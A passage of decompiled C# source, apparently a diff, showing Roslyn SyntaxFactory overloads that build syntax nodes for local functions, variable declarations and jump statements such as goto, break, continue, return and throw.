GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)returnType).Green, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (typeParameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeParameterListSyntax)(object)((SyntaxNode)typeParameterList).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green, GreenNodeExtensions.ToGreenList(constraintClauses.Node), (body == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)body).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrowExpressionClauseSyntax)(object)((SyntaxNode)expressionBody).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalFunctionStatementSyntax LocalFunctionStatement(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxList constraintClauses, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return LocalFunctionStatement(attributeLists, modifiers, returnType, identifier, typeParameterList, parameterList, constraintClauses, body, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalFunctionStatementSyntax LocalFunctionStatement(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + return LocalFunctionStatement(default(SyntaxList), default(SyntaxTokenList), returnType, identifier, null, ParameterList(), default(SyntaxList), null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalFunctionStatementSyntax LocalFunctionStatement(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, string identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + return LocalFunctionStatement(default(SyntaxList), default(SyntaxTokenList), returnType, Identifier(identifier), null, ParameterList(), default(SyntaxList), null, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalDeclarationStatementSyntax LocalDeclarationStatement(SyntaxList attributeLists, SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = awaitKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.AwaitKeyword) + { + throw new ArgumentException("awaitKeyword"); + } + syntaxKind = usingKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind != SyntaxKind.UsingKeyword) + { + throw new ArgumentException("usingKeyword"); + } + if (declaration == null) + { + throw new ArgumentNullException("declaration"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.LocalDeclarationStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LocalDeclarationStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref awaitKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref usingKeyword)).Node, GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.VariableDeclarationSyntax)(object)((SyntaxNode)declaration).Green, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalDeclarationStatementSyntax LocalDeclarationStatement(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return LocalDeclarationStatement(attributeLists, default(SyntaxToken), default(SyntaxToken), modifiers, declaration, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LocalDeclarationStatementSyntax LocalDeclarationStatement(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + return LocalDeclarationStatement(default(SyntaxList), default(SyntaxToken), default(SyntaxToken), default(SyntaxTokenList), declaration, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax VariableDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SeparatedSyntaxList variables) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.VariableDeclaration((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, GreenNodeExtensions.ToGreenSeparatedList(variables.Node))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax VariableDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return VariableDeclaration(type, default(SeparatedSyntaxList)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax VariableDeclarator(SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.BracketedArgumentListSyntax? argumentList, Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.VariableDeclarator((SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (argumentList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BracketedArgumentListSyntax)(object)((SyntaxNode)argumentList).Green), (initializer == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EqualsValueClauseSyntax)(object)((SyntaxNode)initializer).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax VariableDeclarator(SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return VariableDeclarator(identifier, null, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclaratorSyntax VariableDeclarator(string identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return VariableDeclarator(Identifier(identifier), null, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax EqualsValueClause(SyntaxToken equalsToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (equalsToken.Kind() != SyntaxKind.EqualsToken) + { + throw new ArgumentException("equalsToken"); + } + if (value == null) + { + throw new ArgumentNullException("value"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EqualsValueClause((SyntaxToken)(object)((SyntaxToken)(ref equalsToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)value).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax EqualsValueClause(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax value) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return EqualsValueClause(Token(SyntaxKind.EqualsToken), value); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SingleVariableDesignationSyntax SingleVariableDesignation(SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SingleVariableDesignationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SingleVariableDesignation((SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DiscardDesignationSyntax DiscardDesignation(SyntaxToken underscoreToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (underscoreToken.Kind() != SyntaxKind.UnderscoreToken) + { + throw new ArgumentException("underscoreToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.DiscardDesignationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.DiscardDesignation((SyntaxToken)(object)((SyntaxToken)(ref underscoreToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DiscardDesignationSyntax DiscardDesignation() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return DiscardDesignation(Token(SyntaxKind.UnderscoreToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedVariableDesignationSyntax ParenthesizedVariableDesignation(SyntaxToken openParenToken, SeparatedSyntaxList variables, SyntaxToken closeParenToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openParenToken.Kind() != SyntaxKind.OpenParenToken) + { + throw new ArgumentException("openParenToken"); + } + if (closeParenToken.Kind() != SyntaxKind.CloseParenToken) + { + throw new ArgumentException("closeParenToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedVariableDesignationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ParenthesizedVariableDesignation((SyntaxToken)(object)((SyntaxToken)(ref openParenToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(variables.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeParenToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedVariableDesignationSyntax ParenthesizedVariableDesignation(SeparatedSyntaxList variables = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedVariableDesignation(Token(SyntaxKind.OpenParenToken), variables, Token(SyntaxKind.CloseParenToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionStatementSyntax ExpressionStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ExpressionStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionStatementSyntax ExpressionStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return ExpressionStatement(attributeLists, expression, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionStatementSyntax ExpressionStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return ExpressionStatement(default(SyntaxList), expression, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EmptyStatementSyntax EmptyStatement(SyntaxList attributeLists, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.EmptyStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.EmptyStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EmptyStatementSyntax EmptyStatement(SyntaxList attributeLists) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return EmptyStatement(attributeLists, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EmptyStatementSyntax EmptyStatement() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return EmptyStatement(default(SyntaxList), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LabeledStatementSyntax LabeledStatement(SyntaxList attributeLists, SyntaxToken identifier, SyntaxToken colonToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (colonToken.Kind() != SyntaxKind.ColonToken) + { + throw new ArgumentException("colonToken"); + } + if (statement == null) + { + throw new ArgumentNullException("statement"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.LabeledStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LabeledStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (SyntaxToken)(object)((SyntaxToken)(ref colonToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.StatementSyntax)(object)((SyntaxNode)statement).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LabeledStatementSyntax LabeledStatement(SyntaxList attributeLists, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return LabeledStatement(attributeLists, identifier, Token(SyntaxKind.ColonToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LabeledStatementSyntax LabeledStatement(SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return LabeledStatement(default(SyntaxList), identifier, Token(SyntaxKind.ColonToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LabeledStatementSyntax LabeledStatement(string identifier, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return LabeledStatement(default(SyntaxList), Identifier(identifier), Token(SyntaxKind.ColonToken), statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GotoStatementSyntax GotoStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken gotoKeyword, SyntaxToken caseOrDefaultKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8800 > (SyntaxKind)2) + { + throw new ArgumentException("kind"); + } + if (gotoKeyword.Kind() != SyntaxKind.GotoKeyword) + { + throw new ArgumentException("gotoKeyword"); + } + SyntaxKind syntaxKind = caseOrDefaultKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind - 8332 > SyntaxKind.List) + { + throw new ArgumentException("caseOrDefaultKeyword"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.GotoStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.GotoStatement(kind, GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref gotoKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref caseOrDefaultKeyword)).Node, (expression == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GotoStatementSyntax GotoStatement(SyntaxKind kind, SyntaxList attributeLists, SyntaxToken caseOrDefaultKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return GotoStatement(kind, attributeLists, Token(SyntaxKind.GotoKeyword), caseOrDefaultKeyword, expression, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GotoStatementSyntax GotoStatement(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression = null) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + return GotoStatement(kind, default(SyntaxList), Token(SyntaxKind.GotoKeyword), default(SyntaxToken), expression, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BreakStatementSyntax BreakStatement(SyntaxList attributeLists, SyntaxToken breakKeyword, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (breakKeyword.Kind() != SyntaxKind.BreakKeyword) + { + throw new ArgumentException("breakKeyword"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.BreakStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.BreakStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref breakKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BreakStatementSyntax BreakStatement(SyntaxList attributeLists) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return BreakStatement(attributeLists, Token(SyntaxKind.BreakKeyword), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BreakStatementSyntax BreakStatement() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return BreakStatement(default(SyntaxList), Token(SyntaxKind.BreakKeyword), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ContinueStatementSyntax ContinueStatement(SyntaxList attributeLists, SyntaxToken continueKeyword, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (continueKeyword.Kind() != SyntaxKind.ContinueKeyword) + { + throw new ArgumentException("continueKeyword"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ContinueStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ContinueStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref continueKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ContinueStatementSyntax ContinueStatement(SyntaxList attributeLists) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return ContinueStatement(attributeLists, Token(SyntaxKind.ContinueKeyword), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ContinueStatementSyntax ContinueStatement() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return ContinueStatement(default(SyntaxList), Token(SyntaxKind.ContinueKeyword), Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ReturnStatementSyntax ReturnStatement(SyntaxList attributeLists, SyntaxToken returnKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (returnKeyword.Kind() != SyntaxKind.ReturnKeyword) + { + throw new ArgumentException("returnKeyword"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ReturnStatementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ReturnStatement(GreenNodeExtensions.ToGreenList(attributeLists.Node), (SyntaxToken)(object)((SyntaxToken)(ref returnKeyword)).Node, (expression == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green), (SyntaxToken)(object)((SyntaxToken)(ref semicolonToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ReturnStatementSyntax ReturnStatement(SyntaxList attributeLists, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return ReturnStatement(attributeLists, Token(SyntaxKind.ReturnKeyword), expression, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ReturnStatementSyntax ReturnStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression = null) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return ReturnStatement(default(SyntaxList), Token(SyntaxKind.ReturnKeyword), expression, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ThrowStatementSyntax ThrowStatement(SyntaxList attributeLists, SyntaxToken throwKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (throwKeyword.Kind() != SyntaxKind.ThrowKeyword) + { + throw new ArgumentException("throwKeyword"); + } + if (semicolonToken.Kind() != SyntaxKind.SemicolonToken) + { + throw new ArgumentException("semicolonToken"); + } + return 